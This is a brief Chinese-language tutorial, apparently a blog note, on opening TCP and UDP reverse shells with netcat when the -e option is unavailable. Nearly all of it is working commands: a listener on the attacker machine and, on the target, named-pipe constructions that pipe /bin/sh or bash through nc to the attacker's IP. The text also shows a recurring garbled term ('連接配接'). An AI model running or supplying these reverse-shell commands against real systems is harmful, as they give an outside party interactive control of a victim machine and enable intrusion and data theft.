NC不用-e建立TCP/UDP 反彈連接配接shell

主機1監聽端口，主機2發起連接配接。

TCP shell

主機1：

nc -nvlp 4444
           

主機2：

mknod /tmp/backpipe p
/bin/sh 0</tmp/backpipe | nc 主機1的IP 4444 1>/tmp/backpipe
           

如果第一步提示檔案backpipe存在，且無法建立連接配接，則可以先把它删了重試：

rm /tmp/backpipe
           

UDP shell

攻擊機：

nc -nuvlp 4444
           

靶機：

mkfifo fifo
nc -u 主機1的IP 4444 < fifo |
{ 
  echo "Hi"
  bash
} > fifo